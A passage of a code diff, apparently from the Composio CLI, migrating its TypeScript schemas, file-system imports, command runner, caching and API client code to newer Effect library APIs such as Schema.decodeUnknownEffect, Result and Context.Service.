30 + projectId: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
31
32 /**
33 * Optional global test user identifier used by CLI/e2e flows.
34 */
45 - testUserId: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
46 - Schema.fromKey('test_user_id')
47 - ),
48 -}).annotations({
49 - identifier: 'UserData',
50 - description: 'User data storage for the Composio CLI',
51 -});
35 + testUserId: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
36 +};
37 +
38 +const userDataKeyMapping = {
39 + apiKey: 'api_key',
40 + baseURL: 'base_url',
41 + webURL: 'web_url',
42 + orgId: 'org_id',
43 + projectId: 'project_id',
44 + testUserId: 'test_user_id',
45 +} as const;
46 +
47 +export const UserData = Schema.Struct(userDataFields).pipe(
48 + Schema.encodeKeys(userDataKeyMapping),
49 + Schema.annotate({
50 + identifier: 'UserData',
51 + description: 'User data storage for the Composio CLI',
52 + })
53 +);
54
55 export type UserData = Schema.Schema.Type<typeof UserData>;
56
57 export const UserDataWithDefaults = Schema.Struct({
56 - ...UserData.fields,
58 + ...userDataFields,
59
58 - baseURL: Schema.propertySignature(Schema.String).pipe(Schema.fromKey('base_url')),
59 - webURL: Schema.propertySignature(Schema.String).pipe(Schema.fromKey('web_url')),
60 + baseURL: Schema.String,
61 + webURL: Schema.String,
62
63 // orgId and legacy projectId remain as Option<string> — they may not be set.
62 -}).annotations({
63 - identifier: 'UserDataWithDefaults',
64 - description: 'User data storage for the Composio CLI with defaults',
65 -});
64 +}).pipe(
65 + Schema.encodeKeys(userDataKeyMapping),
66 + Schema.annotate({
67 + identifier: 'UserDataWithDefaults',
68 + description: 'User data storage for the Composio CLI with defaults',
69 + })
70 +);
71
72 export type UserDataWithDefaults = Schema.Schema.Type<typeof UserDataWithDefaults>;
73
74 export const UserDataJSON = JSONTransformSchema(UserData);
70 -export const userDataFromJSON = Schema.decode(UserDataJSON, {
75 +export const userDataFromJSON = Schema.decodeEffect(UserDataJSON, {
76 propertyOrder: 'original',
77 onExcessProperty: 'preserve',
73 - exact: false,
78 });
75 -export const userDataToJSON = Schema.encode(UserDataJSON);
79 +export const userDataToJSON = Schema.encodeEffect(UserDataJSON);
ts/packages/cli/src/models/utils/extract-actual.ts
+4 -2
@@ -1,7 +1,9 @@
1 -import type { ParseIssue } from 'effect/ParseResult';
1 +import { SchemaIssue } from 'effect';
2 import { inspect } from 'node:util';
3
4 -export function extractActual({ actual }: ParseIssue, cap = 50) {
4 +export function extractActual(issue: SchemaIssue.Issue, cap = 50) {
5 + const actual = SchemaIssue.hasInput(issue) ? issue.input : undefined;
6 +
7 // Cap the length of the actual value to 50 characters
8 let str: string;
9
ts/packages/cli/src/models/utils/json-transform-schema.ts
+18 -15
@@ -1,20 +1,23 @@
1 -import { ParseResult, Predicate, Schema } from 'effect';
1 +import { Effect, Predicate, Schema, SchemaGetter, SchemaIssue } from 'effect';
2
3 const errorMessage = (error: unknown): string =>
4 Predicate.isError(error) ? error.message : String(error);
5
6 -export function JSONTransformSchema<To extends Schema.Schema.Any>(to: To) {
7 - return Schema.transformOrFail(Schema.String, to, {
8 - strict: true,
9 - encode: (obj, _options, ast) =>
10 - ParseResult.try({
11 - try: () => JSON.stringify(obj),
12 - catch: error => new ParseResult.Type(ast, obj, errorMessage(error)),
13 - }),
14 - decode: (str, _options, ast) =>
15 - ParseResult.try({
16 - try: () => JSON.parse(str),
17 - catch: error => new ParseResult.Type(ast, str, errorMessage(error)),
18 - }),
19 - });
6 +export function JSONTransformSchema<To extends Schema.Top>(to: To) {
7 + return Schema.String.pipe(
8 + Schema.decodeTo(to, {
9 + decode: SchemaGetter.transformOrFail((str: string) =>
10 + Effect.try({
11 + try: (): To['Encoded'] => JSON.parse(str),
12 + catch: error => new SchemaIssue.InvalidValue({ message: errorMessage(error) }, str),
13 + })
14 + ),
15 + encode: SchemaGetter.transformOrFail((obj: To['Encoded']) =>
16 + Effect.try({
17 + try: () => JSON.stringify(obj),
18 + catch: error => new SchemaIssue.InvalidValue({ message: errorMessage(error) }, obj),
19 + })
20 + ),
21 + })
22 + );
23 }
ts/packages/cli/src/services/agents.ts
+67 -52
@@ -1,6 +1,6 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import { Data, Effect, Either, Option, Predicate, Schema } from 'effect';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 +import { Data, Effect, Option, Predicate, Result, Schema } from 'effect';
4 import { APP_CONFIG } from 'src/effects/app-config';
5 import { JsonRecordSchema } from 'src/effects/json';
6 import { setupCacheDir } from 'src/effects/setup-cache-dir';
@@ -15,53 +15,68 @@ export const DEFAULT_AGENTS_BASE_URL = 'https://agents.composio.dev';
15
16 export type AgentStatus = 'READY' | 'PENDING' | 'UNKNOWN';
17
18 -const UnknownFields = JsonRecordSchema;
19 -
20 -const AgentComposioCredentials = Schema.Struct({
21 - member_id: Schema.optional(Schema.NullOr(Schema.String)),
22 - org_id: Schema.optional(Schema.NullOr(Schema.String)),
23 - project_id: Schema.optional(Schema.NullOr(Schema.String)),
24 - api_key: Schema.optional(Schema.NullOr(Schema.String)),
25 - user_api_key: Schema.optional(Schema.NullOr(Schema.String)),
26 -}).pipe(Schema.extend(UnknownFields));
18 +const UnknownFields = [JsonRecordSchema] as const;
19 +
20 +const AgentComposioCredentials = Schema.StructWithRest(
21 + Schema.Struct({
22 + member_id: Schema.optional(Schema.NullOr(Schema.String)),
23 + org_id: Schema.optional(Schema.NullOr(Schema.String)),
24 + project_id: Schema.optional(Schema.NullOr(Schema.String)),
25 + api_key: Schema.optional(Schema.NullOr(Schema.String)),
26 + user_api_key: Schema.optional(Schema.NullOr(Schema.String)),
27 + }),
28 + UnknownFields
29 +);
30 export type AgentComposioCredentials = Schema.Schema.Type<typeof AgentComposioCredentials>;
31
29 -const AgentIdentity = Schema.Struct({
30 - status: Schema.optional(Schema.NullOr(Schema.String)),
31 - request_id: Schema.optional(Schema.NullOr(Schema.String)),
32 - slug: Schema.optional(Schema.NullOr(Schema.String)),
33 - email: Schema.optional(Schema.NullOr(Schema.String)),
34 - agent_key: Schema.optional(Schema.NullOr(Schema.String)),
35 - composio_agent_key: Schema.optional(Schema.NullOr(Schema.String)),
36 - claimed_by: Schema.optional(Schema.NullOr(Schema.String)),
37 - claimed_at: Schema.optional(Schema.NullOr(Schema.String)),
38 - composio: Schema.optional(AgentComposioCredentials),
39 -}).pipe(Schema.extend(UnknownFields));
32 +const AgentIdentity = Schema.StructWithRest(
33 + Schema.Struct({
34 + status: Schema.optional(Schema.NullOr(Schema.String)),
35 + request_id: Schema.optional(Schema.NullOr(Schema.String)),
36 + slug: Schema.optional(Schema.NullOr(Schema.String)),
37 + email: Schema.optional(Schema.NullOr(Schema.String)),
38 + agent_key: Schema.optional(Schema.NullOr(Schema.String)),
39 + composio_agent_key: Schema.optional(Schema.NullOr(Schema.String)),
40 + claimed_by: Schema.optional(Schema.NullOr(Schema.String)),
41 + claimed_at: Schema.optional(Schema.NullOr(Schema.String)),
42 + composio: Schema.optional(AgentComposioCredentials),
43 + }),
44 + UnknownFields
45 +);
46 export type AgentIdentity = Schema.Schema.Type<typeof AgentIdentity>;
47
42 -const AgentMailMessage = Schema.Struct({
43 - id: Schema.optional(Schema.NullOr(Schema.String)),
44 - thread_id: Schema.optional(Schema.NullOr(Schema.String)),
45 - from: Schema.optional(Schema.NullOr(Schema.String)),
46 - to: Schema.optional(Schema.NullOr(Schema.String)),
47 - subject: Schema.optional(Schema.NullOr(Schema.String)),
48 - preview: Schema.optional(Schema.NullOr(Schema.String)),
49 - received_at: Schema.optional(Schema.NullOr(Schema.String)),
50 -}).pipe(Schema.extend(UnknownFields));
48 +const AgentMailMessage = Schema.StructWithRest(
49 + Schema.Struct({
50 + id: Schema.optional(Schema.NullOr(Schema.String)),
51 + thread_id: Schema.optional(Schema.NullOr(Schema.String)),
52 + from: Schema.optional(Schema.NullOr(Schema.String)),
53 + to: Schema.optional(Schema.NullOr(Schema.String)),
54 + subject: Schema.optional(Schema.NullOr(Schema.String)),
55 + preview: Schema.optional(Schema.NullOr(Schema.String)),
56 + received_at: Schema.optional(Schema.NullOr(Schema.String)),
57 + }),
58 + UnknownFields
59 +);
60 export type AgentMailMessage = Schema.Schema.Type<typeof AgentMailMessage>;
61
53 -const AgentMailResponse = Schema.Struct({
54 - count: Schema.optional(Schema.Number),
55 - messages: Schema.optional(Schema.Array(AgentMailMessage)),
56 -}).pipe(Schema.extend(UnknownFields));
62 +const AgentMailResponse = Schema.StructWithRest(
63 + Schema.Struct({
64 + count: Schema.optional(Schema.Number),
65 + messages: Schema.optional(Schema.Array(AgentMailMessage)),
66 + }),
67 + UnknownFields
68 +);
69 export type AgentMailResponse = Schema.Schema.Type<typeof AgentMailResponse>;
70
59 -const AgentClaimResponse = Schema.Struct({
60 - status: Schema.optional(Schema.NullOr(Schema.String)),
61 - email: Schema.optional(Schema.NullOr(Schema.String)),
62 - org_id: Schema.optional(Schema.NullOr(Schema.String)),
63 - invite_code: Schema.optional(Schema.NullOr(Schema.String)),
64 -}).pipe(Schema.extend(UnknownFields));
71 +const AgentClaimResponse = Schema.StructWithRest(
72 + Schema.Struct({
73 + status: Schema.optional(Schema.NullOr(Schema.String)),
74 + email: Schema.optional(Schema.NullOr(Schema.String)),
75 + org_id: Schema.optional(Schema.NullOr(Schema.String)),
76 + invite_code: Schema.optional(Schema.NullOr(Schema.String)),
77 + }),
78 + UnknownFields
79 +);
80 export type AgentClaimResponse = Schema.Schema.Type<typeof AgentClaimResponse>;
81
82 export class AgentAuthError extends Data.TaggedError('services/AgentAuthError')<{
@@ -90,9 +105,9 @@ const agentsBaseURL = APP_CONFIG.AGENTS_BASE_URL.pipe(
105 );
106
107 const decodeAgentResponse =
93 - <A, I>(pathname: string, schema: Schema.Schema<A, I>) =>
108 + <A, I>(pathname: string, schema: Schema.Codec<A, I>) =>
109 (payload: unknown) =>
95 - Schema.decodeUnknown(schema)(payload).pipe(
110 + Schema.decodeUnknownEffect(schema)(payload).pipe(
111 Effect.mapError(
112 cause =>
113 new AgentResponseDecodeError({
@@ -178,7 +193,7 @@ export const readStoredAgentIdentity = Effect.gen(function* () {
193
194 return yield* ensurePrivateFileMode({ fs, target: configPath }).pipe(
195 Effect.andThen(fs.readFileString(configPath, 'utf8')),
181 - Effect.flatMap(Schema.decodeUnknown(Schema.parseJson(AgentIdentity))),
196 + Effect.flatMap(Schema.decodeUnknownEffect(Schema.fromJsonString(AgentIdentity))),
197 Effect.map(normalizeDecodedAgentIdentity),
198 Effect.tapError(error => Effect.logDebug('Failed to read agent identity:', error)),
199 Effect.option
@@ -237,7 +252,7 @@ const fetchAgentJson = (pathname: string, init: RequestInit = {}) =>
252 }),
253 });
254 const payload = text
240 - ? yield* Schema.decodeUnknown(Schema.parseJson(Schema.Unknown))(text).pipe(
255 + ? yield* Schema.decodeUnknownEffect(Schema.fromJsonString(Schema.Unknown))(text).pipe(
256 Effect.mapError(
257 cause =>
258 new AgentResponseDecodeError({
@@ -251,7 +266,7 @@ const fetchAgentJson = (pathname: string, init: RequestInit = {}) =>
266
267 if (!response.ok) {
268 const message =
254 - Predicate.isRecord(payload) && typeof payload.message === 'string'
269 + Predicate.isObject(payload) && typeof payload.message === 'string'
270 ? payload.message
271 : `agents.composio.dev request failed with HTTP ${response.status}`;
272 return yield* new AgentRequestError({
@@ -391,16 +406,16 @@ export const getStoredReadyAgent = Effect.gen(function* () {
406 const agentKey = getAgentKey(stored.value);
407 if (!agentKey) return Option.none<AgentIdentity>();
408
394 - const remote = yield* fetchAgentWhoami(agentKey).pipe(Effect.either);
409 + const remote = yield* fetchAgentWhoami(agentKey).pipe(Effect.result);
410 // An auth rejection means the API examined and refused this key — the stored
411 // identity is revoked, not unreachable. Only transport-shaped failures may
412 // fall back to the on-disk identity.
398 - if (Either.isLeft(remote) && isAgentKeyRejection(remote.left)) {
413 + if (Result.isFailure(remote) && isAgentKeyRejection(remote.failure)) {
414 return Option.none<AgentIdentity>();
415 }
416
402 - const identity = Either.isRight(remote)
403 - ? yield* writeStoredAgentIdentity(remote.right)
417 + const identity = Result.isSuccess(remote)
418 + ? yield* writeStoredAgentIdentity(remote.success)
419 : stored.value;
420
421 const ready =
@@ -447,7 +462,7 @@ export const loginWithAgentIdentity = (identity: AgentIdentity) =>
462 // Best-effort analytics stitch after the credential persists; must never break login.
463 yield* getSessionInfoByUserApiKey({ baseURL: ctx.data.baseURL, userApiKey, orgId }).pipe(
464 Effect.flatMap(info => linkApolloIdentityForAnalytics(info.org_member.id, userApiKey)),
450 - Effect.catchAllCause(() => Effect.void)
465 + Effect.catchCause(() => Effect.void)
466 );
467 yield* primeConsumerConnectedToolkitsCacheInBackground({ orgId });
468 });
ts/packages/cli/src/services/cli-session-artifacts.ts
+2 -2
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import { Effect, Option } from 'effect';
4 import { APP_CONFIG } from 'src/effects/app-config';
5 import { getOrCreateProbablyMyCliSessionIdForCurrentCwd } from 'src/services/consumer-short-term-cache';
ts/packages/cli/src/services/cli-user-config.ts
+11 -12
@@ -1,8 +1,7 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import type { PlatformError } from '@effect/platform/Error';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 +import type * as PlatformError from 'effect/PlatformError';
4 import { Context, Effect, Layer, Option, Predicate, Schema } from 'effect';
5 -import type { ParseError } from 'effect/ParseResult';
5 import { JsonRecordSchema } from 'src/effects/json';
6 import { setupCacheDir } from 'src/effects/setup-cache-dir';
7 import { getVersion } from 'src/effects/version';
@@ -45,7 +44,7 @@ const DEFAULT_CLI_USER_CONFIG = CliUserConfig.make({
44 security: 'auto',
45 });
46
48 -const decodeConfigJson = Schema.decodeUnknown(Schema.parseJson(JsonRecordSchema));
47 +const decodeConfigJson = Schema.decodeUnknownEffect(Schema.fromJsonString(JsonRecordSchema));
48
49 export const resolveCliConfigPath = Effect.gen(function* () {
50 const path = yield* Path.Path;
@@ -53,7 +52,7 @@ export const resolveCliConfigPath = Effect.gen(function* () {
52 return path.join(configDir, constants.CLI_CONFIG_FILE_NAME);
53 });
54
56 -export class ComposioCliUserConfig extends Context.Tag('ComposioCliUserConfig')<
55 +export class ComposioCliUserConfig extends Context.Service<
56 ComposioCliUserConfig,
57 {
58 readonly data: CliUserConfigResolved;
@@ -64,9 +63,9 @@ export class ComposioCliUserConfig extends Context.Tag('ComposioCliUserConfig')<
63 readonly isExperimentalFeatureEnabled: (feature: string) => boolean;
64 readonly update: (
65 next: Partial<CliUserConfig>
67 - ) => Effect.Effect<void, ParseError | PlatformError, never>;
66 + ) => Effect.Effect<void, Schema.SchemaError | PlatformError.PlatformError, never>;
67 }
69 ->() {}
68 +>()('ComposioCliUserConfig') {}
69
70 const resolveConfig = (raw: CliUserConfig, channel: CliReleaseChannel): CliUserConfigResolved => ({
71 channel,
@@ -92,12 +91,12 @@ export const ComposioCliUserConfigLive = Layer.effect(
91 let rawConfig = DEFAULT_CLI_USER_CONFIG;
92
93 const normalizeRawConfigJson = (value: unknown): unknown => {
95 - if (!Predicate.isRecord(value)) {
94 + if (!Predicate.isObject(value)) {
95 return value;
96 }
97
98 const record = { ...value };
100 - const existingDeveloper = Predicate.isRecord(record.developer) ? { ...record.developer } : {};
99 + const existingDeveloper = Predicate.isObject(record.developer) ? { ...record.developer } : {};
100
101 if (!('enabled' in existingDeveloper) && 'developer_mode_enabled' in record) {
102 existingDeveloper.enabled = record.developer_mode_enabled;
@@ -125,7 +124,7 @@ export const ComposioCliUserConfigLive = Layer.effect(
124
125 const update = (
126 next: Partial<CliUserConfig>
128 - ): Effect.Effect<void, ParseError | PlatformError, never> =>
127 + ): Effect.Effect<void, Schema.SchemaError | PlatformError.PlatformError, never> =>
128 persist(
129 CliUserConfig.make({
130 ...rawConfig,
@@ -141,7 +140,7 @@ export const ComposioCliUserConfigLive = Layer.effect(
140 });
141
142 if (yield* fs.exists(jsonConfigPath)) {
144 - yield* load.pipe(Effect.catchAll(() => persist(DEFAULT_CLI_USER_CONFIG)));
143 + yield* load.pipe(Effect.catch(() => persist(DEFAULT_CLI_USER_CONFIG)));
144 } else {
145 yield* persist(rawConfig);
146 }
ts/packages/cli/src/services/command-runner.ts
+35 -15
@@ -1,5 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import { Effect, Stream, String, Context, Layer } from 'effect';
1 +import { Context, Effect, Layer, Stream } from 'effect';
2 +import type * as PlatformError from 'effect/PlatformError';
3 +import type { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
4
5 export interface CommandResult {
6 readonly exitCode: number;
@@ -8,15 +9,34 @@ export interface CommandResult {
9 }
10
11 /** Drains a child-process output stream into one string; shared with the run-helpers runtime. */
11 -export const collectText = (stream: Stream.Stream<Uint8Array, unknown>) =>
12 - stream.pipe(Stream.decodeText(), Stream.runFold(String.empty, String.concat));
12 +export const collectText = <E>(stream: Stream.Stream<Uint8Array, E>) =>
13 + Stream.mkString(Stream.decodeText(stream));
14
14 -const makeCommandRunner = Effect.sync(() => ({
15 - run: (command: Command.Command) => Command.exitCode(command),
16 - capture: (command: Command.Command) =>
15 +export interface CommandRunnerShape {
16 + readonly run: (
17 + command: ChildProcess.Command
18 + ) => Effect.Effect<number, PlatformError.PlatformError, ChildProcessSpawner.ChildProcessSpawner>;
19 + readonly capture: (
20 + command: ChildProcess.Command
21 + ) => Effect.Effect<
22 + CommandResult,
23 + PlatformError.PlatformError,
24 + ChildProcessSpawner.ChildProcessSpawner
25 + >;
26 +}
27 +
28 +const makeCommandRunner = Effect.sync((): CommandRunnerShape => ({
29 + run: command =>
30 Effect.scoped(
31 Effect.gen(function* () {
19 - const childProcess = yield* Command.start(command);
32 + const childProcess = yield* command;
33 + return Number(yield* childProcess.exitCode);
34 + })
35 + ),
36 + capture: command =>
37 + Effect.scoped(
38 + Effect.gen(function* () {
39 + const childProcess = yield* command;
40 const [exitCode, stdout, stderr] = yield* Effect.all(
41 [
42 childProcess.exitCode,
@@ -30,11 +50,11 @@ const makeCommandRunner = Effect.sync(() => ({
50 ),
51 }));
52
33 -export type CommandRunnerShape = Effect.Effect.Success<typeof makeCommandRunner>;
34 -
35 -export class CommandRunner extends Context.Tag('services/CommandRunner')<
36 - CommandRunner,
37 - CommandRunnerShape
38 ->() {
39 - static readonly Default = Layer.effect(CommandRunner, makeCommandRunner);
53 +export class CommandRunner extends Context.Service<CommandRunner, CommandRunnerShape>()(
54 + 'services/CommandRunner'
55 +) {
56 + static readonly Default: Layer.Layer<CommandRunner> = Layer.effect(
57 + CommandRunner,
58 + makeCommandRunner
59 + );
60 }
ts/packages/cli/src/services/composio-clients-cached.ts
+10 -10
@@ -1,6 +1,6 @@
1 -import { Effect, Option, ParseResult, Layer, Array as Arr } from 'effect';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
1 +import { Effect, Option, Schema, Layer, Array as Arr } from 'effect';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import { setupCacheDir } from 'src/effects/setup-cache-dir';
6 import { FORCE_CONFIG } from 'src/effects/force-config';
@@ -52,8 +52,8 @@ const filterBySlugPrefixes =
52 */
53 function createCachedEffect<T, E, R>(
54 cacheFileName: string,
55 - decoder: (input: string) => Effect.Effect<T, ParseResult.ParseError>,
56 - encoder: (input: T) => Effect.Effect<string, ParseResult.ParseError>,
55 + decoder: (input: string) => Effect.Effect<T, Schema.SchemaError>,
56 + encoder: (input: T) => Effect.Effect<string, Schema.SchemaError>,
57 computation: Effect.Effect<T, E, R>,
58 cacheFilter?: (data: T) => Effect.Effect<T, E, never>
59 ): Effect.Effect<T, E, R> {
@@ -72,7 +72,7 @@ function createCachedEffect<T, E, R>(
72
73 const cacheFileExists = yield* fs
74 .exists(cacheFilePath)
75 - .pipe(Effect.orElse(() => Effect.succeed(false)));
75 + .pipe(Effect.catch(() => Effect.succeed(false)));
76 if (!cacheFileExists) {
77 return Option.none<T>();
78 }
@@ -85,7 +85,7 @@ function createCachedEffect<T, E, R>(
85 // this request — e.g. it predates a toolkit the caller asked for.
86 return Option.some(cacheFilter ? yield* cacheFilter(cached) : cached);
87 }).pipe(
88 - Effect.catchAll(error =>
88 + Effect.catch(error =>
89 Effect.logWarning(`Ignoring cache ${cacheFilePath}: ${error}`).pipe(
90 Effect.as(Option.none<T>())
91 )
@@ -100,7 +100,7 @@ function createCachedEffect<T, E, R>(
100 const writeToCache = (cacheFilePath: string, result: T) =>
101 encoder(result).pipe(
102 Effect.flatMap(content => writeFileAtomic(cacheFilePath, content)),
103 - Effect.catchAll(error =>
103 + Effect.catch(error =>
104 Effect.logWarning(`Failed to write to cache ${cacheFilePath}: ${error}`)
105 )
106 );
@@ -113,7 +113,7 @@ function createCachedEffect<T, E, R>(
113 // failed command.
114 const cacheFilePath = yield* setupCacheDir.pipe(
115 Effect.map(cacheDir => Option.some(path.join(cacheDir, cacheFileName))),
116 - Effect.catchAll(error =>
116 + Effect.catch(error =>
117 Effect.logWarning(`Cache unavailable for ${cacheFileName}: ${error}`).pipe(
118 Effect.as(Option.none<string>())
119 )
@@ -195,7 +195,7 @@ export const ComposioToolkitsRepositoryCached = Layer.effect(
195 const foundSlugs = new Set(filtered.map(t => t.slug.toUpperCase()));
196 const missingSlugs = slugs.filter(s => !foundSlugs.has(s.toUpperCase()));
197
198 - if (Arr.isNonEmptyReadonlyArray(missingSlugs)) {
198 + if (Arr.isReadonlyArrayNonEmpty(missingSlugs)) {
199 return Effect.fail(
200 new InvalidToolkitsError({
201 invalidToolkits: missingSlugs,
ts/packages/cli/src/services/composio-clients.ts
+204 -188
@@ -1,22 +1,21 @@
1 import {
2 pipe,
3 + Context,
4 Data,
5 Effect,
6 + Layer,
7 Option,
8 Schema,
9 Array,
10 Order,
9 - ParseResult,
11 String,
12 Stream,
12 - Sink,
13 SynchronizedRef,
14 - Context,
15 - Layer,
14 } from 'effect';
15 +import * as FileSystem from 'effect/FileSystem';
16 +import * as Path from 'effect/Path';
17 +import type { Cause } from 'effect';
18 import { Composio as _RawComposioClient, APIPromise } from '@composio/client';
18 -import * as FileSystem from '@effect/platform/FileSystem';
19 -import * as Path from '@effect/platform/Path';
19 import type { AuthConfigCreateParams } from '@composio/client/resources/auth-configs';
20 import type { ConnectedAccountListParams } from '@composio/client/resources/connected-accounts';
21 import {
@@ -42,10 +41,11 @@ import * as constants from 'src/constants';
41 import { getCurrentCwdSessionId } from 'src/analytics/dispatch';
42 import { ComposioUserContext, ComposioUserContextLive } from './user-context';
43 import { ProjectContext } from './project-context';
45 -import type { NoSuchElementException } from 'effect/Cause';
44 import { renderPrettyError } from './utils/pretty-error';
45 import { NodeOs } from './node-os';
46
47 +type NoSuchElementError = Cause.NoSuchElementError;
48 +
49 /**
50 * Error types
51 */
@@ -110,13 +110,13 @@ const sortBySlug = <T extends { readonly slug: string }>(
110 ): ReadonlyArray<T> =>
111 Array.sort(
112 items,
113 - Order.mapInput(Order.string, (item: T) => item.slug)
113 + Order.mapInput(Order.String, (item: T) => item.slug)
114 );
115
116 const validateToolkitVersionsImpl = (
117 client: {
118 toolkits: {
119 - retrieve: (slug: string) => Effect.Effect<Toolkit, HttpError | NoSuchElementException, never>;
119 + retrieve: (slug: string) => Effect.Effect<Toolkit, HttpError | NoSuchElementError, never>;
120 };
121 },
122 overrides: ToolkitVersionOverrides,
@@ -126,7 +126,7 @@ const validateToolkitVersionsImpl = (
126 validatedOverrides: ToolkitVersionOverrides;
127 warnings: ReadonlyArray<string>;
128 },
129 - InvalidToolkitVersionsError | InvalidToolkitsError | HttpError | NoSuchElementException
129 + InvalidToolkitVersionsError | InvalidToolkitsError | HttpError | NoSuchElementError
130 > =>
131 Effect.gen(function* () {
132 const determineOverridesToValidate = (
@@ -167,7 +167,7 @@ const validateToolkitVersionsImpl = (
167 availableVersions: ReadonlyArray<string>;
168 isValid: boolean;
169 }>,
170 - InvalidToolkitsError | HttpError | NoSuchElementException
170 + InvalidToolkitsError | HttpError | NoSuchElementError
171 > =>
172 Effect.all(
173 overridesToValidate.map(([toolkit, requestedVersion]) =>
@@ -178,17 +178,17 @@ const validateToolkitVersionsImpl = (
178 availableVersions: toolkitData.meta.available_versions,
179 isValid: toolkitData.meta.available_versions.includes(requestedVersion),
180 })),
181 - Effect.catchTag('services/HttpServerError', e =>
182 - Effect.if(e.status === 404, {
183 - onTrue: () =>
184 - Effect.fail(
185 - new InvalidToolkitsError({
186 - invalidToolkits: [toolkit],
187 - availableToolkits: [],
188 - })
189 - ),
190 - onFalse: () => Effect.fail(e),
191 - })
181 + Effect.catchTag(
182 + 'services/HttpServerError',
183 + (e): Effect.Effect<never, InvalidToolkitsError | HttpServerError> =>
184 + e.status === 404
185 + ? Effect.fail(
186 + new InvalidToolkitsError({
187 + invalidToolkits: [toolkit],
188 + availableToolkits: [],
189 + })
190 + )
191 + : Effect.fail(e)
192 )
193 )
194 ),
@@ -252,7 +252,7 @@ export const CliRealtimeCredentialsResponse = Schema.Struct({
252 project_id: Schema.String,
253 pusher_key: Schema.String,
254 pusher_cluster: Schema.String,
255 -}).annotations({ identifier: 'CliRealtimeCredentialsResponse' });
255 +}).annotate({ identifier: 'CliRealtimeCredentialsResponse' });
256 export type CliRealtimeCredentialsResponse = Schema.Schema.Type<
257 typeof CliRealtimeCredentialsResponse
258 >;
@@ -260,14 +260,14 @@ export type CliRealtimeCredentialsResponse = Schema.Schema.Type<
260 export const CliRealtimeAuthResponse = Schema.Struct({
261 auth: Schema.String,
262 channel_data: Schema.optional(Schema.String),
263 -}).annotations({ identifier: 'CliRealtimeAuthResponse' });
263 +}).annotate({ identifier: 'CliRealtimeAuthResponse' });
264 export type CliRealtimeAuthResponse = Schema.Schema.Type<typeof CliRealtimeAuthResponse>;
265
266 export const ToolkitsResponse = Schema.Struct({
267 items: Toolkits,
268 total_pages: Schema.Int,
269 next_cursor: Schema.NullOr(Schema.String),
270 -}).annotations({ identifier: 'ToolkitsResponse' });
270 +}).annotate({ identifier: 'ToolkitsResponse' });
271 export type ToolkitsResponse = Schema.Schema.Type<typeof ToolkitsResponse>;
272
273 // Similar to Toolkits, without auth_schemes, with auth_config_details instead
@@ -275,20 +275,24 @@ export const ToolkitRetrieveResponse = Schema.Struct({
275 name: Schema.String,
276 slug: ToolkitSlug,
277 is_local_toolkit: Schema.Boolean,
278 - composio_managed_auth_schemes: Schema.optionalWith(Schema.Array(Schema.String), {
279 - default: () => [],
280 - }),
281 - no_auth: Schema.optionalWith(Schema.Boolean, { default: () => false }),
278 + composio_managed_auth_schemes: Schema.Array(Schema.String).pipe(
279 + Schema.withDecodingDefaultType(Effect.succeed([]))
280 + ),
281 + no_auth: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(false))),
282 meta: Schema.Struct({
283 - description: Schema.optionalWith(Schema.String, { default: () => '' }),
284 - categories: Schema.optionalWith(Schema.Array(Schema.Unknown), { default: () => [] }),
285 - created_at: Schema.DateTimeUtc,
286 - updated_at: Schema.DateTimeUtc,
287 - available_versions: Schema.optionalWith(Schema.Array(Schema.String), { default: () => [] }),
288 - tools_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
289 - triggers_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
283 + description: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
284 + categories: Schema.Array(Schema.Unknown).pipe(
285 + Schema.withDecodingDefaultType(Effect.succeed([]))
286 + ),
287 + created_at: Schema.DateTimeUtcFromString,
288 + updated_at: Schema.DateTimeUtcFromString,
289 + available_versions: Schema.Array(Schema.String).pipe(
290 + Schema.withDecodingDefaultType(Effect.succeed([]))
291 + ),
292 + tools_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
293 + triggers_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
294 }),
291 -}).annotations({ identifier: 'ToolkitRetrieveResponse' });
295 +}).annotate({ identifier: 'ToolkitRetrieveResponse' });
296 export type ToolkitRetrieveResponse = Schema.Schema.Type<typeof ToolkitRetrieveResponse>;
297
298 export const ToolsAsEnumsResponse = ToolsAsEnums;
@@ -298,7 +302,7 @@ export const ToolsResponse = Schema.Struct({
302 items: Tools,
303 total_pages: Schema.Int,
304 next_cursor: Schema.NullOr(Schema.String),
301 -}).annotations({ identifier: 'ToolsResponse' });
305 +}).annotate({ identifier: 'ToolsResponse' });
306 export type ToolsResponse = Schema.Schema.Type<typeof ToolsResponse>;
307
308 export const ToolDetailedResponse = Schema.Struct({
@@ -309,15 +313,12 @@ export const ToolDetailedResponse = Schema.Struct({
313 available_versions: Schema.Array(Schema.String),
314 input_parameters: JsonRecordSchema,
315 output_parameters: JsonRecordSchema,
312 - no_auth: Schema.optionalWith(Schema.Boolean, { default: () => false }),
313 - toolkit: Schema.optionalWith(
314 - Schema.Struct({
315 - name: Schema.String,
316 - slug: Schema.String,
317 - }),
318 - { default: () => ({ name: '', slug: '' }) }
319 - ),
320 -}).annotations({ identifier: 'ToolDetailedResponse' });
316 + no_auth: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(false))),
317 + toolkit: Schema.Struct({
318 + name: Schema.String,
